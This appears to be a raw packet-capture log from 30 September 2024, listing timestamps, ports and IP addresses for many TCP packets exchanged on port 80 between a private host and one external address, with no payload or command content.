Sep 30, 2024 13:59:29.528126001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528135061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528143883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528150082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528170109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528179884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528188944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528188944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528191090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528218985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528224945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528229952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528239012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528268099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528270006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528270006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528278112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528287888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528299093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528318882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528318882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528336048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528359890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528369904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528376102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528376102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528448105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528449059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528459072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528469086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528479099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528489113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528512955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528512955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528537035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528578043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528589010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528604031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528614998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528625011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528633118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528635979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528646946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528657913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528665066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528665066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528671980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528686047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528713942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528713942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528723001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528739929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528750896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528762102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528783083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528783083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528846979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529527903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529598951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529599905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529611111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529620886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529644012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529649973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529664040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529665947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529675007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529685020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529706955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529706955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529726982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529731035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529746056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529764891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529772043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529778004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529798985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529798985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529814959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529819965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529825926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529831886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529838085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529892921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529894114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529911041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529921055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529927015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529934883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529973030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529974937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529984951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.529992104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.529994965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.530039072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.530039072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.616789103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616835117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616847038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616890907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616899014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.616902113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616914034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616935968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.616950035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616961002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616971016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616981983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616992950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.616997957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617003918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617008924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617019892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617031097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617033958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617048025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617080927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617080927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617115021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617628098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617671967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617681980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617708921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617708921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617738008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617749929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617765903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617779970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617794991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617801905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617801905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617805958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617815971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617830992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617841959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617842913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617872000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617872000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617872953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617882013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617892981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617934942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617943048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617954969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617965937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617969036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.617978096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.617996931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618025064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618026018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618046999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618057013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618067026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618078947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618092060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618170977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618242979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618254900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618263960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618290901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618314981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618324995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618325949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618367910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618377924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618379116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618388891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618427038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618427038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618442059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618509054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618515968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618546009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618576050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618581057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618591070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618604898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618639946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618664980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618674994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618685007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618695974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618725061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618725061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618824959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618835926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618845940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618855953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618865013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618880033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618882895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618882895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618890047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618896961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618910074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618920088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618927956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618928909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618941069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618953943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618958950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618968010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618978024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.618993998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.618993998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619009972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619020939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619030952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619040966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619040966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619041920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619088888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619092941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619096994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619103909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619115114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619144917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619144917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619144917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619157076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619167089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619184971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619198084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619210005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619230032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619230986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619230986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619239092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619288921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619288921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619323969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619333982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619344950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619374037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619395971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619414091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619426012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619436026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619446039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619456053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619467020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619499922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619499922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619721889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619733095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619743109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619762897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619779110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619788885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619795084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619795084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619800091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.619822979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.619847059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620434999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620455980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620466948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620486975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620557070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620567083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620577097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620587111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620599031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620599031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620606899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620621920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620631933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620642900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620642900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620644093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620660067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620692015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620692968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620697021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620707989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620718002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620752096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620753050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620754957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620765924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620775938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620786905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620821953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620821953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620836020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620846987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620857954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620867014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.620893955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620893955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.620946884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.707818985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707844973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707855940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707865953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707876921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707881927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.707890034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707916021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.707930088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707941055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707950115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707957983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.707957983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.707961082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707972050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707983971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.707988977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708003998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708014965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708024025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708029985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708033085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708058119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708059072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708092928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708730936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708784103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708794117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708795071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708833933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708847046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708847046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708887100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708914995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708925009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708935022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708947897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.708971977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.708971977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709003925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709033966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709033966 CEST	49721	80	192.168.2.6	5.42.101.62
